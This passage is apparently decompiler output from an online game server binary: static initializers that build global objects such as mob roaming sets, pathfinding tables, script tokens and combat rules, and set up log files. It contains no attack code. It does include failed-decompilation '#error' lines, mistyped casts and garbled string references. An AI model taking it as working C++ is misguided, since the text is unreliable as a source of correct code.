( v1 ); NPCDeadLog.dl_FilePointer = 0; EraseOldLogList("NPCDeadLog"); NPCDeadLog.dl_Activ = 1; atexit(_E5_37); } //----- (0059AB20) -------------------------------------------------------- void __cdecl _E7_17() { MobActionElement::MobActionElement(&ShineObjectClass::ShineMob::defaction); atexit(_E8_21); } //----- (0059AB40) -------------------------------------------------------- void __cdecl _E10_6() { KQRegenTable::KQRegenTable(&kqregentable); atexit(_E11_16); } //----- (0059AB60) -------------------------------------------------------- void __cdecl _E13_3() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"MobHatcheryLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&MobHatcheryLog - "MobHatcheryLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); MobHatcheryLog.dl_FilePointer = 0; EraseOldLogList("MobHatcheryLog"); MobHatcheryLog.dl_Activ = 1; atexit(_E14_5); } //----- (0059ABB0) -------------------------------------------------------- void __cdecl _E16_4() { NPCAction::Manager::Manager((AbnormalStateShelter::AbstateShelter *)&g_FamilyMobManager); atexit(_E17_10); } //----- (0059ABD0) -------------------------------------------------------- void __cdecl _E3_9() { MobRoaming::MobRoamingSet::MobRoamingSet(&roamingpaths); atexit(_E4_70); } //----- (0059ABF0) -------------------------------------------------------- void __cdecl _E6_0() { MobRoaming::MobsInRoaming::MobsInRoaming((MobRoaming::MobsInRoaming *)&mobinroam); atexit(_E7_40); } //----- (0059AC10) -------------------------------------------------------- void __cdecl _E4_32() { atexit(_E5_38); } //----- (0059AC20) -------------------------------------------------------- void __cdecl _E7_18() { MobTacticElement::MobActionTargetting::MobActionTargetting(&MobTacticElement::MobActionArgument::Actor::targetting); atexit(_E8_22); } //----- (0059AC40) -------------------------------------------------------- void __cdecl _E10_7() { MobTacticElement::MobAction2Region::MobAction2Region(&MobTacticElement::MobActionArgument::Actor::toregion); atexit(_E11_17); } //----- (0059AC60) -------------------------------------------------------- void __cdecl _E13_4() { MobTacticElement::MobActionRoaming::MobActionRoaming(&MobTacticElement::MobActionArgument::Actor::roaming); atexit(_E14_6); } //----- (0059AC80) -------------------------------------------------------- void __cdecl _E16_5() { MobTacticElement::MobActionNoBrain::MobActionNoBrain(&MobTacticElement::MobActionArgument::Actor::nobrain); atexit(_E17_11); } //----- (0059ACA0) -------------------------------------------------------- void __cdecl _E19_1() { MobTacticElement::DuringReturn2Regen::DuringReturn2Regen(&MobTacticElement::MobActionArgument::Actor::return2regen); atexit(_E20_3); } //----- (0059ACC0) -------------------------------------------------------- void __cdecl _E22_0() { Navigator::MapNavigator::MapNavigator(&navi, 500, 8); atexit(_E23_4); } //----- (0059ACE0) -------------------------------------------------------- void __cdecl _E25_0() { StaticVector::StaticVector( (StaticVector *)&Navigator::MapNavigator::nm_UnitPointList, 64); atexit(_E26_2); } //----- (0059AD00) -------------------------------------------------------- void __cdecl _E1_16() { NPCAction::Manager::Manager((AbnormalStateShelter::AbstateShelter *)&_MultiHitTable); atexit(_E2_16); } //----- (0059AD20) -------------------------------------------------------- void __cdecl _E1_17() { NPCItemList::NPCItemListTable::NPCItemListTable(&npcitemlist); atexit(_E2_17); } //----- (0059AD40) -------------------------------------------------------- void __cdecl _E4_33() { NPCRoleBase::NPCRoleBase(&npcrolebase, 0); atexit(_E5_40); } //----- (0059AD60) -------------------------------------------------------- void __cdecl _E7_19() { NPCManager::NPCManager(&npcmanager); atexit(_E8_23); } //----- (0059AD80) -------------------------------------------------------- void __cdecl _E10_8() { MerchantCityData::MerchantCityData(&merchantcity); atexit(_E11_19); } //----- (0059ADA0) -------------------------------------------------------- void __cdecl _E3_10() { OPToolList::OPToolList((OPToolList *)&optoollist); atexit(_E4_71); } //----- (0059ADC0) -------------------------------------------------------- void __cdecl _E6_1() { OPToolSession::OPToolSession((OPToolSession *)&optoolsock); atexit(_E7_42); } //----- (0059ADE0) -------------------------------------------------------- void __cdecl _E4_34() { GlobalProtocolPacket::GlobalProtocolPacket((GlobalProtocolPacket *)&gpp); atexit(_E5_41); } //----- (0059AE00) -------------------------------------------------------- void __cdecl _E7_20() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"TooLongPacket"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&TooLongPacket - "TooLongPacket" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); TooLongPacket.dl_FilePointer = 0; EraseOldLogList("TooLongPacket"); TooLongPacket.dl_Activ = 1; atexit(_E8_24); } //----- (0059AE50) -------------------------------------------------------- void __cdecl _E10_9() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"ExceptionLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&ExceptionLog - "ExceptionLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); ExceptionLog.dl_FilePointer = 0; EraseOldLogList("ExceptionLog"); ExceptionLog.dl_Activ = 1; atexit(_E11_20); } //----- (0059AEA0) -------------------------------------------------------- void __cdecl _E1_18() { ShineCommonParameter::ShineCommonParameter(&shineparam); atexit(_E2_18); } //----- (0059AEC0) -------------------------------------------------------- void __cdecl _E4_35() { CParty::CParty(&partycontainer); atexit(_E5_42); } //----- (0059AEE0) -------------------------------------------------------- void __cdecl _E7_21() { atexit(_E8_25); } //----- (0059AEF0) -------------------------------------------------------- void __cdecl _E1_19() { atexit(_E2_19); } //----- (0059AF00) -------------------------------------------------------- void __cdecl _E4_36() { JunctionPointContainer::JunctionPointContainer(&junctionpointlist); atexit(_E5_43); } //----- (0059AF20) -------------------------------------------------------- void __cdecl _E7_22() { LinearStep::LinearStep(&linestep); atexit(_E8_26); } //----- (0059AF40) -------------------------------------------------------- void __cdecl _E10_10() { CellStack::CellStack(&cellstack); atexit(_E11_21); } //----- (0059AF60) -------------------------------------------------------- void __cdecl _E13_5() { PathFindTable::PathFindTable(&pathfindtable); atexit(_E14_8); } //----- (0059AF80) -------------------------------------------------------- void __cdecl _E1_20() { PerformanceChecker::PerformanceChecker(&performancechech); atexit(_E2_20); } //----- (0059AFA0) -------------------------------------------------------- void __cdecl _E3_11() { char *v0; // eax@1 v0 = (char *)gdsprotofunc.4100; do { *(_DWORD *)v0 = gdsprotofunc.4356; v0 += 4; } while ( (signed int)v0 < (signed int)&gdsprotofunc.4356 ); memset32(gdsprotofunc.pft_funcpnt, (int)gdsprotofunc.4100, 0x400u); atexit(_E4_73); } //----- (0059AFE0) -------------------------------------------------------- void __cdecl _E3_12() { char *v0; // eax@1 v0 = (char *)shineprotofunc.4100; do { *(_DWORD *)v0 = shineprotofunc.4356; v0 += 4; } while ( (signed int)v0 < (signed int)&shineprotofunc.4356 ); memset32(shineprotofunc.pft_funcpnt, (int)shineprotofunc.4100, 0x400u); atexit(_E4_74); } //----- (0059B020) -------------------------------------------------------- void __cdecl _E3_13() { char *v0; // eax@1 v0 = (char *)glsprotofunc.4100; do { *(_DWORD *)v0 = glsprotofunc.4356; v0 += 4; } while ( (signed int)v0 < (signed int)&glsprotofunc.4356 ); memset32(glsprotofunc.pft_funcpnt, (int)glsprotofunc.4100, 0x400u); atexit(_E4_75); } //----- (0059B060) -------------------------------------------------------- void __cdecl _E3_14() { char *v0; // eax@1 v0 = (char *)optsprotofunc.this; do { *(_DWORD *)v0 = optsprotofunc.4356; v0 += 4; } while ( (signed int)v0 < (signed int)&optsprotofunc.4356 ); memset32(optsprotofunc.pft_funcpnt, (int)optsprotofunc.this, 0x400u); atexit(_E4_76); } //----- (0059B0A0) -------------------------------------------------------- void __cdecl _E3_15() { char *v0; // eax@1 v0 = (char *)wldmanprotofunc.4100; do { *(_DWORD *)v0 = wldmanprotofunc.4356; v0 += 4; } while ( (signed int)v0 < (signed int)&wldmanprotofunc.4356 ); memset32(wldmanprotofunc.pft_funcpnt, (int)wldmanprotofunc.4100, 0x400u); atexit(_E4_77); } //----- (0059B0E0) -------------------------------------------------------- void __cdecl _E3_16() { char *v0; // eax@1 v0 = (char *)zlsprotofunc.this; do { *(_DWORD *)v0 = zlsprotofunc.4356; v0 += 4; } while ( (signed int)v0 < (signed int)&zlsprotofunc.4356 ); memset32(zlsprotofunc.pft_funcpnt, (int)zlsprotofunc.this, 0x400u); atexit(_E4_78); } //----- (0059B120) -------------------------------------------------------- void __cdecl _E3_17() { PineEventScriptNode::StatementList::StatementList(&ps_statementlist); atexit(_E4_79); } //----- (0059B140) -------------------------------------------------------- void __cdecl _E6_2() { atexit(_E7_43); } //----- (0059B150) -------------------------------------------------------- void __cdecl _E9_0() { atexit(_E10_20); } //----- (0059B160) -------------------------------------------------------- void __cdecl _E12() { atexit(_E13_19); } //----- (0059B170) -------------------------------------------------------- void __cdecl _E15() { PineEventScriptNode::SysFuncRand::SysFuncRand(&sysfuncrand); atexit(_E16_14); } //----- (0059B190) -------------------------------------------------------- void __cdecl _E18_0() { PineEventScriptNode::SysFuncSQRT::SysFuncSQRT(&sysfuncsqrt); atexit(_E19_13); } //----- (0059B1B0) -------------------------------------------------------- void __cdecl _E21() { PineEventScriptNode::SysFuncDistance::SysFuncDistance(&sysfuncdistance); atexit(_E22_9); } //----- (0059B1D0) -------------------------------------------------------- void __cdecl _E24() { PineEventScriptNode::SysFuncShineMobRegen::SysFuncShineMobRegen(&sysfuncshinemobregen); atexit(_E25_9); } //----- (0059B1F0) -------------------------------------------------------- void __cdecl _E27() { PineEventScriptNode::SysFuncShineDoorBuild::SysFuncShineDoorBuild(&sysfuncshinedoorbuild); atexit(_E28_7); } //----- (0059B210) -------------------------------------------------------- void __cdecl _E30() { PineEventScriptNode::SysFuncShineNPCStand::SysFuncShineNPCStand(&sysfuncshinenpcstand); atexit(_E31_8); } //----- (0059B230) -------------------------------------------------------- void __cdecl _E33() { PineEventScriptNode::SysFuncShineChange2Mob::SysFuncShineChange2Mob(&sysfuncshinechange2mob); atexit(_E34_6); } //----- (0059B250) -------------------------------------------------------- void __cdecl _E36() { PineEventScriptNode::SysFuncShineChange2Door::SysFuncShineChange2Door(&sysfuncshinechange2door); atexit(_E37_5); } //----- (0059B270) -------------------------------------------------------- void __cdecl _E39() { PineEventScriptNode::SysFuncShineChange2NPC::SysFuncShineChange2NPC(&sysfuncshinechange2npc); atexit(_E40_5); } //----- (0059B290) -------------------------------------------------------- void __cdecl _E42() { PineEventScriptNode::SysFuncShineCount::SysFuncShineCount(&sysfuncshinecount); atexit(_E43_5); } //----- (0059B2B0) -------------------------------------------------------- void __cdecl _E45() { PineEventScriptNode::SysFuncShineRestSecond::SysFuncShineRestSecond(&sysfuncshinerestsec); atexit(_E46_6); } //----- (0059B2D0) -------------------------------------------------------- void __cdecl _E48() { PineEventScriptNode::SysFuncShineCharClass::SysFuncShineCharClass(&sysfuncshinecharclass); atexit(_E49_6); } //----- (0059B2F0) -------------------------------------------------------- void __cdecl _E51() { PineEventScriptNode::SysFuncShineCharName::SysFuncShineCharName(&sysfuncshinecharname); atexit(_E52_2); } //----- (0059B310) -------------------------------------------------------- void __cdecl _E54() { PineEventScriptNode::SysFuncShineDeadNumber::SysFuncShineDeadNumber(&sysfuncshinedeadnum); atexit(_E55_2); } //----- (0059B330) -------------------------------------------------------- void __cdecl _E57() { PineEventScriptNode::SysFuncShineCircularScatter::SysFuncShineCircularScatter(&sysfuncshinecircularlocate); atexit(_E58_2); } //----- (0059B350) -------------------------------------------------------- void __cdecl _E60() { PineEventScriptNode::SysFuncShineRemoveFisrt::SysFuncShineRemoveFisrt(&sysfuncshineremovefisrt); atexit(_E61_2); } //----- (0059B370) -------------------------------------------------------- void __cdecl _E63() { PineEventScriptNode::SysFuncShineGetObjectList::SysFuncShineGetObjectList(&sysfuncshinegetobjectlist); atexit(_E64_2); } //----- (0059B390) -------------------------------------------------------- void __cdecl _E66() { PineEventScriptNode::SysFuncShineKQResultList::SysFuncShineKQResultList(&sysfuncshinekqresultlist); atexit(_E67_1); } //----- (0059B3B0) -------------------------------------------------------- void __cdecl _E69() { PineEventScriptNode::SysFuncShineKQTop::SysFuncShineKQTop(&sysfuncshinekqtoplist); atexit(_E70_2); } //----- (0059B3D0) -------------------------------------------------------- void __cdecl _E72() { PineEventScriptNode::SysFuncShineDistance::SysFuncShineDistance(&sysfuncshinedistance); atexit(_E73_1); } //----- (0059B3F0) -------------------------------------------------------- void __cdecl _E75() { PineEventScriptNode::SysFuncShinePlayerInArea::SysFuncShinePlayerInArea(&sysfuncshineplayerinarea); atexit(_E76_2); } //----- (0059B410) -------------------------------------------------------- void __cdecl _E78() { PineEventScriptNode::SysFuncShineRange::SysFuncShineRange(&sysfuncshinerange); atexit(_E79_1); } //----- (0059B430) -------------------------------------------------------- void __cdecl _E81() { PineEventScriptNode::SysFuncShineIsGateUse::SysFuncShineIsGateUse(&sysfuncshineisgateuse); atexit(_E82_1); } //----- (0059B450) -------------------------------------------------------- void __cdecl _E84() { PineEventScriptNode::SysFuncShineGetWinnerGuild::SysFuncShineGetWinnerGuild(&sysfuncshinegetwinnerguild); atexit(_E85_1); } //----- (0059B470) -------------------------------------------------------- void __cdecl _E87() { PineEventScriptNode::SysFuncShineGetLoseGuild::SysFuncShineGetLoseGuild(&sysfuncshinegetloseGuild); atexit(_E88_1); } //----- (0059B490) -------------------------------------------------------- void __cdecl _E4_37() { atexit(_E5_44); } //----- (0059B4A0) -------------------------------------------------------- void __cdecl _E7_23() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"KQRankingLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&KQRankingLog - "KQRankingLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); unk_124A4EB8 = 0; EraseOldLogList("KQRankingLog"); unk_124A503C = 1; atexit(_E8_27); } //----- (0059B4F0) -------------------------------------------------------- void __cdecl _E1_21() { PineScriptMobRegenerator::PineScriptMobRegenerator(&scriptmobregen); atexit(_E2_21); } //----- (0059B510) -------------------------------------------------------- #error "59B510: undefined or illegal type '#325' (funcsize=15)" //----- (0059B560) -------------------------------------------------------- void __cdecl _E7_24() { PineScriptToken::PineScriptToken(&index_all, "all"); atexit(_E8_28); } //----- (0059B580) -------------------------------------------------------- void __cdecl _E10_11() { PineScriptToken::PineScriptToken( &index_me, (char *)&stru_5C2F64.maa_TargetSelect.targetlist.mam_Array[1].mts_EnemyAnalyzer.baseclass_0.io_Pointer); atexit(_E11_22); } //----- (0059B5A0) -------------------------------------------------------- void __cdecl _E13_6() { PineScriptToken::PineScriptToken(&index_ply, "player"); atexit(_E14_9); } //----- (0059B5C0) -------------------------------------------------------- void __cdecl _E16_6() { PineScriptToken::PineScriptToken( &index_hour, (char *)&stru_5C2F64.maa_TargetSelect.targetlist.mam_Array[1].mts_EnemyAnalyzer.baseclass_0.io_Pointer.mask); atexit(_E17_13); } //----- (0059B5E0) -------------------------------------------------------- void __cdecl _E19_2() { PineScriptToken::PineScriptToken( &index_minute, (char *)&stru_5C2F64.maa_TargetSelect.targetlist.mam_Array[2].mts_CharRegnum); atexit(_E20_4); } //----- (0059B600) -------------------------------------------------------- void __cdecl _E22_1() { PineScriptToken::PineScriptToken( &index_sec, (char *)&stru_5C2F64.maa_TargetSelect.targetlist.mam_Array[2].mts_AggroPoint); atexit(_E23_5); } //----- (0059B620) -------------------------------------------------------- void __cdecl _E25_1() { PineScriptToken::PineScriptToken( &index_millisec, (char *)&stru_5C2F64.maa_TargetSelect.targetlist.mam_Array[2].mts_LastHit); atexit(_E26_3); } //----- (0059B640) -------------------------------------------------------- void __cdecl _E28_0() { PineScriptToken::PineScriptToken( &index_kq, (char *)&stru_5C2F64.maa_TargetSelect.targetlist.mam_Array[2].mts_EnemyAnalyzer.baseclass_0.io_Pointer.mask); atexit(_E29_4); } //----- (0059B660) -------------------------------------------------------- void __cdecl _E31_0() { PineScriptToken::PineScriptToken( &index_suc, (char *)&stru_5C2F64.maa_TargetSelect.targetlist.mam_Array[3].mts_AggroPoint); atexit(_E32_2); } //----- (0059B680) -------------------------------------------------------- void __cdecl _E34_0() { PineScriptToken::PineScriptToken( &index_fail, (char *)&stru_5C2F64.maa_TargetSelect.targetlist.mam_Array[3].mts_LastHit); atexit(_E35_1); } //----- (0059B6A0) -------------------------------------------------------- void __cdecl _E37_0() { PineScriptToken::PineScriptToken( &index_areaentry, (char *)&stru_5C2F64.maa_TargetSelect.targetlist.mam_Array[3].mts_EnemyAnalyzer.baseclass_0.io_Pointer); atexit(_E38_1); } //----- (0059B6C0) -------------------------------------------------------- void __cdecl _E40_0() { PineScriptToken::PineScriptToken( &index_arealeave, (char *)&stru_5C2F64.maa_TargetSelect.targetlist.mam_Array[4].mts_CharRegnum); atexit(_E41_0); } //----- (0059B6E0) -------------------------------------------------------- void __cdecl _E43_0() { PineScriptToken::PineScriptToken( &index_npcclickhandle, (char *)&stru_5C2F64.maa_TargetSelect.targetlist.mam_Array[4].mts_LastHit); atexit(_E44_1); } //----- (0059B700) -------------------------------------------------------- void __cdecl _E46_0() { PineScriptToken::PineScriptToken(&index_npcclickindex, (char *)&stru_5C2F64.maa_TargetSelect.targetlist.mam_Array[5]); atexit(_E47_1); } //----- (0059B720) -------------------------------------------------------- void __cdecl _E49_0() { PineScriptToken::PineScriptToken( &index_npcclickany, (char *)&stru_5C2F64.maa_TargetSelect.targetlist.mam_Array[5].mts_LastHit); atexit(_E50_0); } //----- (0059B740) -------------------------------------------------------- void __cdecl _E52_0() { PineScriptToken::PineScriptToken( &index_hplow, (char *)&stru_5C2F64.maa_TargetSelect.targetlist.mam_Array[5].mts_EnemyAnalyzer.baseclass_0.io_Pointer.mask); atexit(_E53_1); } //----- (0059B760) -------------------------------------------------------- void __cdecl _E55_0() { PineScriptToken::PineScriptToken( &index_mobeliminate, (char *)&stru_5C2F64.maa_TargetSelect.targetlist.mam_Array[6].mts_CharRegnum); atexit(_E56_1); } //----- (0059B780) -------------------------------------------------------- void __cdecl _E58_0() { PineScriptToken::PineScriptToken( &index_playereliminate, (char *)&stru_5C2F64.maa_TargetSelect.targetlist.mam_Array[6].mts_EnemyAnalyzer); atexit(_E59_1); } //----- (0059B7A0) -------------------------------------------------------- void __cdecl _E61_0() { PineScriptToken::PineScriptToken( &index_guildliminate, (char *)&stru_5C2F64.maa_TargetSelect.targetlist.mam_Array[7].mts_CharRegnum); atexit(_E62_1); } //----- (0059B7C0) -------------------------------------------------------- void __cdecl _E64_0() { PineScriptToken::PineScriptToken( &index_timeout, (char *)&stru_5C2F64.maa_TargetSelect.targetlist.mam_Array[7].mts_EnemyAnalyzer); atexit(_E65_1); } //----- (0059B7E0) -------------------------------------------------------- void __cdecl _E67() { PineScriptToken::PineScriptToken( &index_deadhandle, (char *)&stru_5C2F64.maa_TargetSelect.targetlist.mam_Array[7].mts_EnemyAnalyzer.baseclass_0.io_Pointer.mask); atexit(_E68_0); } //----- (0059B800) -------------------------------------------------------- #error "59B800: undefined or illegal type '#325' (funcsize=5)" //----- (0059B820) -------------------------------------------------------- void __cdecl _E73() { PineScriptToken::PineScriptToken( &index_killenemy, (char *)&stru_5C2F64.maa_TargetSelect.targetlist.mam_Array[8].mts_EnemyAnalyzer); atexit(_E74_0); } //----- (0059B840) -------------------------------------------------------- void __cdecl _E76() { PineScriptToken::PineScriptToken(&index_targetchange, (char *)&stru_5C2F64.maa_TargetSelect.targetlist.mam_Array[9]); atexit(_E77); } //----- (0059B860) -------------------------------------------------------- void __cdecl _E79() { PineScriptToken::PineScriptToken( &index_playerdead, (char *)&stru_5C2F64.maa_TargetSelect.targetlist.mam_Array[9].mts_LastHit); atexit(_E80_0); } //----- (0059B880) -------------------------------------------------------- void __cdecl _E82() { PineScriptToken::PineScriptToken( &index_admin, (char *)&stru_5C2F64.maa_TargetSelect.targetlist.mam_Array[9].mts_EnemyAnalyzer.baseclass_0.io_Pointer.mask); atexit(_E83); } //----- (0059B8A0) -------------------------------------------------------- void __cdecl _E85() { PineScriptToken::PineScriptToken(&index_on, (char *)&stru_5C2F64.maa_TargetSelect.bout.baseclass_0.mts_Current); atexit(_E86); } //----- (0059B8C0) -------------------------------------------------------- void __cdecl _E88() { PineScriptToken::PineScriptToken( &index_off, (char *)&stru_5C2F64.maa_TargetSelect.bout.baseclass_0.mts_Current.distsquar); atexit(_E89); } //----- (0059B8E0) -------------------------------------------------------- #error "59B8E0: undefined or illegal type '#325' (funcsize=5)" //----- (0059B900) -------------------------------------------------------- void __cdecl _E94() { PineScriptToken::PineScriptToken(&index_anywhere, (char *)&stru_5C2F64.maa_TargetSelect.bout.mtb_targetlist); atexit(_E95); } //----- (0059B920) -------------------------------------------------------- void __cdecl _E97() { PineScriptToken::PineScriptToken( &index_handle, (char *)&stru_5C2F64.maa_TargetSelect.aggresive.baseclass_0.baseclass_0.mts_Current.distsquar); atexit(_E98_0); } //----- (0059B940) -------------------------------------------------------- void __cdecl _E100() { PineScriptToken::PineScriptToken( &index_guild, (char *)&stru_5C2F64.maa_TargetSelect.aggresive.baseclass_0.baseclass_0.mts_SightRange); atexit(_E101_0); } //----- (0059B960) -------------------------------------------------------- void __cdecl _E103() { PineScriptToken::PineScriptToken(&index_recover, (char *)&stru_5C2F64.maa_TargetSelect.aggresive.mta_InstanceTarget); atexit(_E104); } //----- (0059B980) -------------------------------------------------------- #error "59B980: undefined or illegal type '#325' (funcsize=5)" //----- (0059B9A0) -------------------------------------------------------- void __cdecl _E109() { PineScriptToken::PineScriptToken( &index_pk, (char *)&stru_5C2F64.maa_TargetSelect.aggresive.mta_InstanceTarget.mts_LastHit); atexit(_E110); } //----- (0059B9C0) -------------------------------------------------------- void __cdecl _E112() { PineScriptToken::PineScriptToken( &index_hit, (char *)&stru_5C2F64.maa_TargetSelect.aggresive.mta_InstanceTarget.mts_EnemyAnalyzer); atexit(_E113); } //----- (0059B9E0) -------------------------------------------------------- void __cdecl _E115() { PineScriptToken::PineScriptToken( &index_observer, (char *)&stru_5C2F64.maa_TargetSelect.aggresive.mta_InstanceTarget.mts_EnemyAnalyzer.baseclass_0.io_Pointer); atexit(_E116); } //----- (0059BA00) -------------------------------------------------------- void __cdecl _E118() { PineScriptToken::PineScriptToken( &index_GuildTournamentStart, (char *)&stru_5C2F64.maa_TargetSelect.nobrain.baseclass_0.baseclass_0.mts_Current); atexit(_E119); } //----- (0059BA20) -------------------------------------------------------- void __cdecl _E121() { PineScriptToken::PineScriptToken( &index_Result, (char *)&stru_5C2F64.maa_TargetSelect.aggresive2.baseclass_0.baseclass_0.baseclass_0.mts_Current); atexit(_E122); } //----- (0059BA40) -------------------------------------------------------- #error "59BA40: undefined or illegal type '#325' (funcsize=5)" //----- (0059BA60) -------------------------------------------------------- void __cdecl _E127() { PineScriptToken::PineScriptToken( &index_beggar, (char *)&stru_5C2F64.maa_TargetSelect.aggresive2.baseclass_0.baseclass_0.mtb_targetlist); atexit(_E128); } //----- (0059BA80) -------------------------------------------------------- void __cdecl _E130() { PineScriptToken::PineScriptToken( &index_allwithout, (char *)&stru_5C2F64.maa_TargetSelect.aggresive2.baseclass_0.mta_InstanceTarget.mts_CharRegnum); atexit(_E131); } //----- (0059BAA0) -------------------------------------------------------- void __cdecl _E133() { PineScriptToken::PineScriptToken( &index_CostumeHeadAcc, (char *)&stru_5C2F64.maa_TargetSelect.aggresive2.baseclass_0.mta_InstanceTarget.mts_EnemyAnalyzer.baseclass_0.io_Pointer); atexit(_E134); } //----- (0059BAC0) -------------------------------------------------------- void __cdecl _E136() { PineScriptToken::PineScriptToken(&index_CostumeBodyAcc, (char *)&stru_5C2F64.maa_TargetSelect.aggresiveall); atexit(_E137); } //----- (0059BAE0) -------------------------------------------------------- void __cdecl _E139() { PineScriptToken::PineScriptToken( &index_split, (char *)&stru_5C2F64.maa_TargetSelect.aggresiveall.baseclass_0.baseclass_0.baseclass_0.mts_Current.distsquar); atexit(_E140); } //----- (0059BB00) -------------------------------------------------------- void __cdecl _E142() { PineScriptToken::PineScriptToken( &index_pickupitemindex, (char *)&stru_5C2F64.maa_TargetSelect.aggresiveall.baseclass_0.baseclass_0.baseclass_0.mts_SightRange); atexit(_E143); } //----- (0059BB20) -------------------------------------------------------- #error "59BB20: undefined or illegal type '#325' (funcsize=5)" //----- (0059BB40) -------------------------------------------------------- void __cdecl _E148() { PineScriptToken::PineScriptToken( &index_mobindex, (char *)&stru_5C2F64.maa_TargetSelect.aggresiveall.baseclass_0.mta_InstanceTarget.mts_EnemyAnalyzer); atexit(_E149); } //----- (0059BB60) -------------------------------------------------------- void __cdecl _E151() { PineScriptToken::PineScriptToken(&index_hpupper, (char *)&stru_5C2F64.maa_TargetSelect.aggresiveNoLevel); atexit(_E152); } //----- (0059BB80) -------------------------------------------------------- void __cdecl _E154() { PineEventScriptNode::StatementBase *v0; // eax@1 v0 = PineEventScriptNode::ScriptBase::sb_CloneMe(); PineEventScriptNode::AutoRegList::AutoRegList(&RegisterGTPortalAutoReg, v0); } //----- (0059BBA0) -------------------------------------------------------- void __cdecl _E156() { PineEventScriptNode::StatementBase *v0; // eax@1 v0 = PineEventScriptNode::ScriptBase::g_CloneMe(); PineEventScriptNode::AutoRegList::AutoRegList(&SaveLinktoAutoReg, v0); } //----- (0059BBC0) -------------------------------------------------------- void __cdecl _E158() { PineEventScriptNode::StatementBase *v0; // eax@1 v0 = PineEventScriptNode::ScriptBase::g_CloneMe(); PineEventScriptNode::AutoRegList::AutoRegList(&ClearSaveLinktoAutoReg, v0); } //----- (0059BBE0) -------------------------------------------------------- void __cdecl _E160() { PineEventScriptNode::StatementBase *v0; // eax@1 v0 = PineEventScriptNode::ScriptBase::sb_CloneMe(); PineEventScriptNode::AutoRegList::AutoRegList(&NPCChatNoFacecutAutoReg, v0); } //----- (0059BC00) -------------------------------------------------------- void __cdecl _E162() { PineEventScriptNode::StatementBase *v0; // eax@1 v0 = PineEventScriptNode::ScriptBase::g_CloneMe(); PineEventScriptNode::AutoRegList::AutoRegList(&ScinarioCodePartyAutoReg, v0); } //----- (0059BC20) -------------------------------------------------------- void __cdecl _E164() { PineEventScriptNode::StatementBase *v0; // eax@1 v0 = PineEventScriptNode::ScriptBase::g_CloneMe(); PineEventScriptNode::AutoRegList::AutoRegList(&HasAbstateAutoReg, v0); } //----- (0059BC40) -------------------------------------------------------- void __cdecl _E166() { PineEventScriptNode::StatementBase *v0; // eax@1 v0 = PineEventScriptNode::ScriptBase::g_CloneMe(); PineEventScriptNode::AutoRegList::AutoRegList(&BroadcastCodeAutoReg, v0); } //----- (0059BC60) -------------------------------------------------------- void __cdecl _E168() { PineEventScriptNode::StatementBase *v0; // eax@1 v0 = PineEventScriptNode::ScriptBase::sb_CloneMe(); PineEventScriptNode::AutoRegList::AutoRegList(>RegisterNPCAutoReg, v0); } //----- (0059BC80) -------------------------------------------------------- void __cdecl _E170() { PineEventScriptNode::StatementBase *v0; // eax@1 v0 = PineEventScriptNode::ScriptBase::g_CloneMe(); PineEventScriptNode::AutoRegList::AutoRegList(>MobRegenKeyAutoReg, v0); } //----- (0059BCA0) -------------------------------------------------------- void __cdecl _E172() { atexit(_E173); } //----- (0059BCB0) -------------------------------------------------------- void __cdecl _E175() { char *v0; // eax@1 char v1; // cl@2 v0 = (char *)&stru_5C2F64.maa_TargetSelect.aggresiveNoLevel.baseclass_0.baseclass_0.baseclass_0.mts_Current.distsquar; do { v1 = *v0; v0[(char *)&ScinarioCodeLog - (char *)&stru_5C2F64.maa_TargetSelect.aggresiveNoLevel.baseclass_0.baseclass_0.baseclass_0.mts_Current.distsquar] = *v0; ++v0; } while ( v1 ); ScinarioCodeLog.dl_FilePointer = 0; EraseOldLogList((char *)&stru_5C2F64.maa_TargetSelect.aggresiveNoLevel.baseclass_0.baseclass_0.baseclass_0.mts_Current.distsquar); ScinarioCodeLog.dl_Activ = 1; atexit(_E176); } //----- (0059BD00) -------------------------------------------------------- void __cdecl _E1_22() { RecallPointTable::RecallPointTable((ShineScript *)&recallpoint); atexit(_E2_22); } //----- (0059BD20) -------------------------------------------------------- void __cdecl _E4_39() { atexit(_E5_46); } //----- (0059BD30) -------------------------------------------------------- void __cdecl _E7_25() { EngSklAtt::EngSklAtt(&engsklatt); atexit(_E8_29); } //----- (0059BD50) -------------------------------------------------------- void __cdecl _E10_12() { RulesOfEngagementNormalPY::RulesOfEngagementNormalPY((RulesOfEngagementNormalPY *)&roe_normalPY); atexit(_E11_23); } //----- (0059BD70) -------------------------------------------------------- void __cdecl _E13_7() { RulesOfEngagementNormalMA::RulesOfEngagementNormalMA(&roe_normalMA); atexit(_E14_10); } //----- (0059BD90) -------------------------------------------------------- void __cdecl _E16_7() { RulesOfEngagementPhisycalSkill::RulesOfEngagementPhisycalSkill(&roe_physical); atexit(_E17_14); } //----- (0059BDB0) -------------------------------------------------------- void __cdecl _E19_3() { RulesOfEngagementMagicalSkill::RulesOfEngagementMagicalSkill(&roe_magical); atexit(_E20_5); } //----- (0059BDD0) -------------------------------------------------------- void __cdecl _E22_2() { RulesOfEngagementAlwaysHit::RulesOfEngagementAlwaysHit(&roe_cure); atexit(_E23_6); } //----- (0059BDF0) -------------------------------------------------------- void __cdecl _E25_2() { RulesOfEngagementAlwaysHit::RulesOfEngagementAlwaysHit(&roe_always); atexit(_E26_4); } //----- (0059BE10) -------------------------------------------------------- void __cdecl _E28_1() { RulesOfEngagementAlwaysCritical::RulesOfEngagementAlwaysCritical(&roe_alwaysCritical); atexit(_E29_5); } //----- (0059BE30) -------------------------------------------------------- void __cdecl _E31_1() { RuleOfEngagementHealAttack::RuleOfEngagementHealAttack(&roe_alwaysHealAttack); atexit(_E32_3); } //----- (0059BE50) -------------------------------------------------------- void __cdecl _E34_1() { unsigned int v0; // eax@1 long double v1; // st7@2 signed int v2; // [sp+0h] [bp-4h]@1 v0 = 0; v2 = 0; do { v1 = (double)v2; ++v0; v2 = v0; *((long double 